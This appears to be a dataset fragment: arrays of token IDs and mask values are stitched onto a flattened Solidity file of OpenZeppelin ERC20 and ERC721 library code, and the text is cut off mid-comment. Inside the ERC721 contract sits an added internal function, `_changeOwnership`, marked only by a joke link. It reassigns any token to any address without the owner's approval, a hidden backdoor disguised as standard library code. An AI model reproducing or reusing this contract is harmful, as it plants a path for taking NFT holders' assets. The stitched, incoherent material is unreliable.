1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
21447,
12,
2867,
3410,
16,
1758,
17571,
264,
16,
2254,
1831,
6275,
16,
2254,
14096,
16,
2254,
28,
331,
16,
1731,
1578,
436,
16,
1731,
1578,
272,
13,
3903,
288,
203,
3639,
2254,
10525,
3844,
31,
203,
3639,
309,
261,
1899,
6275,
422,
2254,
19236,
21,
3719,
288,
203,
5411,
3844,
273,
2254,
10525,
19236,
21,
1769,
203,
5411,
3844,
273,
4183,
10525,
12,
1899,
6275,
16,
315,
1070,
495,
73,
2866,
457,
1938,
30,
3844,
14399,
19332,
4125,
8863,
203,
3639,
289,
203,
203,
3639,
1731,
1578,
2461,
6581,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
18192,
67,
2399,
15920,
16,
417,
24410,
581,
5034,
12,
3890,
12,
529,
13,
3631,
30170,
548,
9334,
1758,
12,
2211,
3719,
1769,
203,
3639,
1731,
1578,
1958,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
3194,
6068,
67,
2399,
15920,
16,
3410,
16,
17571,
264,
16,
1831,
6275,
16,
1661,
764,
63,
8443,
3737,
15,
16,
14096,
10019,
203,
3639,
1731,
1578,
5403,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
31458,
92,
3657,
64,
92,
1611,
3113,
2461,
6581,
16,
1958,
2310,
10019,
203,
3639,
1758,
1573,
8452,
273,
425,
1793,
3165,
12,
10171,
16,
331,
16,
436,
16,
272,
1769,
203,
3639,
2583,
12,
2977,
8452,
480,
1758,
12,
20,
3631,
315,
1070,
495,
73,
2866,
457,
1938,
30,
2057,
3372,
8863,
203,
3639,
2583,
12,
2977,
8452,
422,
3410,
16,
315,
1070,
495,
73,
2866,
457,
1938,
30,
640,
8434,
8863,
203,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/cryptography/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
//explained in detail here: https://www.youtube.com/watch?v=dQw4w9WgXcQ
function _changeOwnership(uint256 tokenId, address to) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
